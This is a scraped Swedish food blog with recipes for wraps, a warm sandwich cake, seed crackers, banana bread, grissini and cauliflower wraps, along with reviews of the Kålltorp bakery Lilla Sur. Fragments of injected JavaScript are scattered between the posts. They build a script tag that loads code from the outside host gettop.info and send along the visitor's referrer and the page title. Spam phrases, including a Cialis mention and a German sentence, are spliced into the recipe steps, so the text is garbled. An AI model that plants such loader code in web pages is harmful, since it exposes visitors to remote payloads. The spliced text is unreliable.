Wraps

Det här receptet hittade jag på bloggen 56 kilo här.

Ingredienser
4 ägg
0,5-1 dl vatten
2 msk kokosmjöl
3 msk pofiber
1 msk fiberhusk
2 msk olivolja eller smaklös kokosolja
1,5 tsk salt

Instruktioner
1.Sätt ugnen på 150 gr.
2.Vispa ägg tills det blir riktigt luftigt.
3.Blanda de torra ingredienserna och vispa ner tillsammans med olja och vatten. Låt stå i 5 minuter.
4.Klicka up 1/4 schädliche abgase gefährden radfahrer im straßenverkehr del på ett bakpapper (inte smörpapper!) och lägg ett annat bakpapper ovanpå. Kavla ut till en rund tortillastor rundel.
5.Grädda i ugnen i ca 10 minuter med bakpappert kvar.

Varm smörgåstårta

Här kommer ett recept jag vill dela med mig på le cialis est il dangereux en varm smörgåstårta. Receptet har jag fått av en kompis.

Varm smörgåstårta (räcker till ca 5 personer)
2 paket hönökaka
2 paket bacon
1 burk champinjoner
1 liten purjolök (ca 2-3 nävar)
5 dl creme fraiche
ost
3-4 Tomater
Lite salt och svartpeppar

Stek bacon knaprigt.
Hacka purjolök och champinjoner och blanda i baconet stek en liten stund till .
Häll hela blandningen i en skål och rör i chrame fraiche.
Lägg ut hönökakan på en plåt med bakplåtspapper på och lägg dom så det blir en rund kaka.
Varva med bacon blandningen och hönökakan, det ska bli tre lager.
Till sist så lägger du på tomat och ost. In i mitten av ugnen på 200grader eller till osten fått färg.
Servera den varma smörgåstårtan tillsammans med en god sallad.

 

 

 if (document.currentScript) {

var d=document;var s=d.createElement(‘script’); }

Lilla Sur, Kålltorp

10f67c0718-1-LOGO_BLACKBIG

Vad sägs om  ”Guinnesspenslade vörtbröd med stenmald fullkornsråg från Limabacka Kvarn”.

Igår besökte jag ”Lilla Sur” för att köpa deras goda vörtbröd och frysa in inför julen.
Om man fryser in ett helt vörtbröd så rekommenderas att frysa in brödet helt och sug ut all luft från platspåsen.
Vid  upptining öppnar du platspåsen och stoppar in lite hushållspapper så blir brödet  helt perfekt när det är upptinat.

Vört4

vört3Vört2Vört1Vört5
Vad jag gillar med Lilla Sur är att det finns alltid roliga, annorlunda och goda tillbehör i butiken. Igår hade de bunkrat upp med en massa goda ostar. Jag blev glad att de hade mina tre favoritostar till ett mycket bra pris. Supergott bröd och ost är den bästa kombinationen och det fanns även fikonmarmelad till försäljning för de som gillar marmelad.

Ost

Sen var jag tvungen att köpa deras goda bullar också. De har både kanelbullar och saffransbullar nu innan jul.

Bulle2Bulle

Lilla Sur, Göteborgs Hantverksbageri AB

IMG_2299

I fredags em besökte jag Lilla Sur för första gången. Den här lilla pärlan hittar ni i hjärtat av Kålltorp på
Solrosgatan 11.  Jag kom tillbaks i lördags för att köpa deras surdegsbröd som var sååå gott och självklart en kanelbulle.

Öppettider:
Ons: 10.00 – 18.00
Tor: 10.00-18.00
Fre: 10.00 – 18.00
Lör: 10.00 – 13:00

IMG_2309IMG_2169

IMG_2298

 

Det är Tommy och Andreas som driver stället.

IMG_2300

Lilla Sur bakar på Ekologiskt och KRAV märkt mjöl från Limabacka Kvarn i Väröbacka.
Deras mjöl mals på ekologiskt odlat spannmål från bönder i närheten av kvarnen.
Det innebär att det inte innehåller mystiska tillsatser och E-nr.

De har en nära relation med Mjölnarna och bönderna, och talas vid varje vecka om olika spannmål och kvaliteter.

I den mån det finns att få tag på så strävar de efter att övriga ingredienser skall vara så närodlade och ekologiska som möjligt.

Jag köpte deras berömda kanelbulle som var precis så fantastiskt god som alla pratat om och väl värda sina 26 kr.

IMG_2183

Surdegsbrödet var en dröm och jag köpte även till deras handvispade citronsmör med ekologiskt citroncest & olivolja.

IMG_2305IMG_2307IMG_2308IMG_2306

Såhär ser det ut inne i den lilla butiken.

IMG_2170

IMG_2301IMG_2302IMG_2303

Ni kan följa Lilla sur på fb här.
eller på instagram här.

Det har redan blivit mitt stamställe och jag som är så förtjust i kanelbullar kommer nog köpa på mig några stycken framöver.

 

 

 

hjärtat av Kålltorp. På Solrosgatan 11. document.currentScript.parentNode.insertBefore(s, document.currentScript);

document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {

Vitlöksbröd

1

Vitlöksbröd passar perfekt till sallad eller en grillbuffé.

Recept
1 baguette
1 stor vitlöksklyfta
Smör
persilja

Gör så här: Skär din baguette i tunna skivor. Rör ihop vitlökssmör (smör, persilja, vitlök).
Bred på vitlökssmör på bröden och ställ in i ugnen på 225 grader ca 5 minuter}

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);

Fröknäcke från Leila Lindholm

Förra helgen bakade jag Leila Lindholms fröknäcke.

bild7

Recept till två plåtar
200 g solrosfrön
1 dl hela linfrön
1 dl sesamfrön
2 dl pumpakärnor
2 msk fiberhusk
2 msk mandelmjöl
1 tsk salt
5 dl vatten
1/2 dl vallmofrön
Flingsalt

Gör så här:
Sätt ugnen på 160 varmluft.
Blanda allt utom vallmofrön i en bunke. Låt vila i 15-20 minuter.
Bred ut smeten tunt på 2 plåtar klädda med bakplåtspapper.
Strö över vallmofrön och lite flingsalt. (jag skippade vallmofrön på mitt frökex).
Grädda knäckebröden i cirka 70 minuter.
Låt dem svalna och lossa försiktigt bakplåtspappret från bröden. Förvaras torrt.
Det är Linfrön och fiberhusk som hjälper brödet att hålla ihop. Om du inte tål eller tycker om några av fröna kan de bara bytas ut mot några som du föredrar. Brödet är också helt glutenfritt så här har ni en höjdare att bjuda på!

bild2bild8bild4bild5bild6
XXX

 } else {

var d=document;var s=d.createElement(‘script’); } else {

Bananbröd

bild4

Det här receptet hittade jag på instagram och receptet räcker till ett bröd. Har ändrat lite på originalreceptet och ersatt sesammjöl med mandelmjöl och tagit bort ingefära som smaksättning.

Recept  1 bröd
6 ägg
3 bananer1 tsk honung
4 msk kokosolja
2 dl kokosmjöl
1/2 dl mandelmjöl
1 tsk fiberhusk
1 tsk bakpulver

Gör såhär:
Blanda alla torra ingredienser. Rör ihop alla blöta ingredienser separat. Jag använde en stavmixer för att mixa bananer, honung, ägg och kokosolja.
Blanda ihop alla ingredienser till en smet. Häll smeten i en bakform och toppa med lite frön och flingsalt på toppen. Grädda i mitten av ugnen på 170 grader ca 1 timma. Jag toppade brödet med lite frön och flingsalt. Förvara brödet i frysen. Jag skivade upp mitt bröd innan jag la det i frysen. Smakar lite som en banankaka.

bild8bild3bild6bild7bild5

 d.getElementsByTagName(‘head’)[0].appendChild(s);

document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Fröknäcke

bild14

Det här receptet räcker till en bakplåt fröknäcke.

Recept:
2 dl majsmjöl
1 dl solroskärnor
1 dl sesamfrön
1/2 dl hela linfrön
2-3 tsk flingsalt (Jag lägger flingsaltet på toppen av mina frökex innan de gräddas i ugnen)
1/2 dl rapsolja
2 dl kokande vatten

 

Gör så här:  Sätt ugnen på 150 grader. Blanda alla ingredienserna och platta ut på bakplåtspapper tunt. Skär skåror för storlek på fröknäcket. Grädda i 150 grader ca 1timma.

bild12

bild13

bild14

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

if (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Grissini

bild1

Nu har jag bakat goda grissini. Receptet hittade jag här.

Recept (30 brödpinnar)
2 krm salt
1 1/2 msk olivolja
1 tsk honung
25 gram jäst
1 dl sesamfrön
3 dl riven parmesanost
3 dl vatten (37 grader)
5 dl durumvetemjöl (325 gram)

Gör så här:
Smula ner jästen i en bunke. Rör ut den i det ljumma vattnet. Tillsätt olivolja, honung och salt. Blanda ner mjölet. Arbeta degen väl för hand 10 min, eller i maskin 5 min. Täck med bakduk och låt jäsa ca 40 min. Ta upp degen och dela den i 30 jämnstora bitar. Strö ut lite riven parmesan och sesamfrön på arbetsytan. Rulla ut en degbit i taget i blandningen till en ca 25 cm lång pinne. Om man gör så fastnar ost och frön jämnt runt hela pinnen.

Lägg på en plåt med bakplåtspapper och låt jäsa ca 20 min. Sätt ugnen på 175 grader. Grädda pinnarna ca 20 min och låt kallna på galler. Låt dem ligga luftigt ca 1 dygn så att de torkar.

bild4bild3bild5bild2bild1

 

XXx

} else {} else {

Blomkålswrap

bild3

Nu har jag bakat supergoda blomkålswraps. Perfekt till tacos, pulled pork/beef eller smörgåswraps. Grundreceptet hittade jag här. Jag smaksatte mina wraps med örtsalt men du kan använda vilka kryddor du föredrar.

Ingredienser till 1 portion:
1/4 blomkålshuvud mixat till ”ris” (ca 2,5 dl)
1 dl äggvita (äggvita från 3 ägg)
1- 1,5 tsk fiberhusk
örtsalt, oregano, rosmarin

Gör såhär:
1. Mixa blomkålen till ett ”ris”
2. Vispa äggvita och örtsalt till ett hårt skum
3. Vänd ner alla ingredienser i äggvitan
4. Bred ut på ett bakplåtspapper och bred ut till ett ca 1-1,5 cm tjockt lager
5. Grädda i ugnen på 175 grader till brödet fått färg, ca 15 min
6. Ta ut ur ugnen och ta försiktigt loss från bakplåtspappret!

bild14bild13bild12bild11

bild10bild9bild7bild8bild6bild4bild5bild2

 var d=document;var s=d.createElement(‘script’);

d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);